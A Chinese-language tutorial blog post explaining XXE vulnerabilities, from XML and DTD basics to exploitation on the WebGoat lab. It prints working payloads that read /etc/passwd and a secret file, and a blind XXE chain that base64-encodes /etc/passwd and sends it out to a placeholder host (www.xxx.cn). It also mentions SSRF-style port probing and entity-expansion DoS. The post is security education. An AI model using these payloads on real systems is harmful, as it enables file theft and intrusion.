XXE漏洞原理

XML 基本格式

XXE 跟 XML 有关联,先了解一些基础知识再玩儿漏洞。

XML 是用来传输和存储数据的一种标准格式,就和 JSON 格式一样都是给你一个框框你往里填数据,大家都遵守这个格式在各个语言解析数据时就方便,不需要针对每个格式编写一套解析规则。

下面是从菜鸟教程摘的一段 XML 格式的数据,每行我都放上了注释。它和 HTML 某些特征一样,标签成对出现,开始标签里可以有属性。

<!-- XML 文档声明 -->  
<?xml version="1.0" encoding="UTF-8"?>
<!-- 每个 XML 文档必须有根元素 -->  
<note>
    <!-- 根元素里面叫子元素 -->  
    <to id="1">Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend!</body>
</note>

内部 DTD 声明

DTD 用于规范标签命名和属性的使用,不再像前面一样随意命名啦。

DOCTYPE 就是声明 DTD 的标签,其中 root-element,就是前面提到的根元素,这里可以自定义一个根元素名称,接着 [element-declarations] 里面可以决定根元素里面使用那些标签(想要在 XML 中使用任意标签就写 ANY),这些标签类型怎么设置。元素声明看这篇文章

<!DOCTYPE root-element [element-declarations]>

下面看一个实例

其中 <!ELEMENT note (to,from,heading,body)> 就定义了 note 根元素里面只能包含 to、from、heading、body 这四个标签,<!ELEMENT to (#PCDATA)> 则是说 to 这个标签类型是 #PCDATA(两个标签中的值是可以被 XML 解析器解析)。

<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend</body>
</note>

外部 DTD 声明

上面的内部声明标签和类型声明都放在 XML 里面,它也可以像 CSS / JS 一样去引用外部资源。

我们把标签和类型定义摘出来放入 note.dtd 文件中。

<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

直接在 XML 中引用这个外部文件,打开浏览器你会发现 XML 正常解析。其中最关键的是新增 SYSTEM 来引入 DTD 文件。

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
    <to>Tove</to>
    <from>Jani</from>
    <heading>Reminder</heading>
    <body>Don't forget me this weekend</body>
</note>

内/外部 DTD 实体声明

什么是实体呢?可以可以想象成"常量",提前定义好一个名和值,后面来调用它。

你看我们声明实体的语法和表示标签的类似,就是关键字从 ELEMENT 换成 ENTITY,同样定义外/内部实体区别在于有没有 SYSTEM 关键字。

实体还分为以下几种

  • 参数实体(parameter entities),定义时带有百分号。
  • 内部实体(internal entities),定义不带百分号。
  • 外部实体(external entities),定义不带百分号。

下面来看怎么去使用这两种实体。

<!-- 内部实体定义 -->
<!ENTITY entity-name "entity-value">
<!ENTITY % entity-name "entity-value">

<!-- 外部实体定义 -->
<!ENTITY entity-name SYSTEM "URI/URL">
<!ENTITY % entity-name SYSTEM "URI/URL">

使用时要注意,内/外实体调用是要在标签页使用 & 开头,中间为实体名称,最后; 结尾。参数实体呢必须要在 DTD 中调用,直接用 % 跟上实体名称用 ; 结尾就成。调用时 XML 解析器会吧对应名字替换成值,下例中 pass 实体在被引用时值会被替换成 file://c:/windows/win.ini

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE exp [
    <!ENTITY pass SYSTEM "file://c:/windows/win.ini">
    <!ENTITY shaodw SYSTEM "http://www.xxx.com/1.dtd">
    <!ENTITY % value SYSTEM "http://xxx.xxx.xxx.xxx/2.dtd">
    <!-- 参数实体引用 -->
    %value;
]>

<!-- 外部实体引用 -->
<exp>
    &pass;
    &shaodw;
</exp>

利用

回显数据

要是引用外部实体是一个文件,是不是能读取文件内容呢?下面使用 WebGoat 8.0 练习 XXE。

<?xml version="1.0" encoding="UTF-8"?>  
<!DOCTYPE exp [
    <!ENTITY pass SYSTEM "file:///etc/passwd">
]>
<exp>
    &pass;
<exp>

BurpRequestXXEInjection.png
XXEInjectionComplete.png

同样也可以使用 HTTP 协议读取内容,这就有点 SSRF 影子。
远程调用DTD.png

其中远程 DTD 文件内容是

<!ENTITY file SYSTEM "file:///home/webgoat/.webgoat-8.1.0/XXE/secret.txt">

Burp 发送请求后,服务器收到 Web 应用发送的请求。

111.200.55.98 - - [20/Jul/2020:12:33:11 +0800] "GET /attack.dtd HTTP/1.1" 301 162 "-" "Java/11.0.1" "-"
111.200.55.98 - - [20/Jul/2020:12:33:11 +0800] "GET /attack.dtd HTTP/1.1" 200 199 "-" "Java/11.0.1" "-"

顺利得到结果。引用顺序是 DTD 文件 ——》 DTD 文件内实体,在本例中是 XML 解析器发送 GET 请求得到 attack.dtd 接着调用 dtd 文件内外部实体让解析器去去文件内容。
secret文件内容.png

由于采用的是 HTTP 协议,我们也可以像 SSRF 一样探测内网和主机端口。

XXE 还可以进行 DOS,主要先定义一个实体值会有很多,接着循环嵌套相互调用多次即可。

Blind XXE

PHP 可以采用 filter:/// 获取目标文件的内容。

<!DOCTYPE a [ 
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">
    <!ENTITY % dtd SYSTEM "http://www.xxx.cn/attack.dtd">
    %dtd; %accesslog; %data;
]>

attack.dtd 的内容。

<!-- 通过 PHP 接收 GET 参数来获得数据,也可直接查 WebServer 日志 -->
<!ENTITY % accesslog "<!ENTITY &#37; data SYSTEM 'http://www.xxx.cn/?c=%file;'>">

Payload 引用外部实体文件 dtd,文件内容被解析后调用参数实体 %accesslog,accesslog 参数内容是个嵌套实体,调用会联动触发 %file,最终数据当做 GET 参数传递到服务器——GET参数不会有长度限制吗?

哪些地方可能存在 XXE

  1. DATA 是 XML 时可以尝试。
  2. 有时某些库也默认解析 XML,可以尝试把 Content-Type 改为 Content-Type: application/xml

防御(待补充实例)

  • 配置对应库禁用使用外部实体。
  • 采用黑名单方式过滤用户传递 DTD 关键字。

参考链接

问题

  1. 除了可以通过 http、file 协议可以关注语言本身还支持哪些。

标签: none

讨论讨论讨论!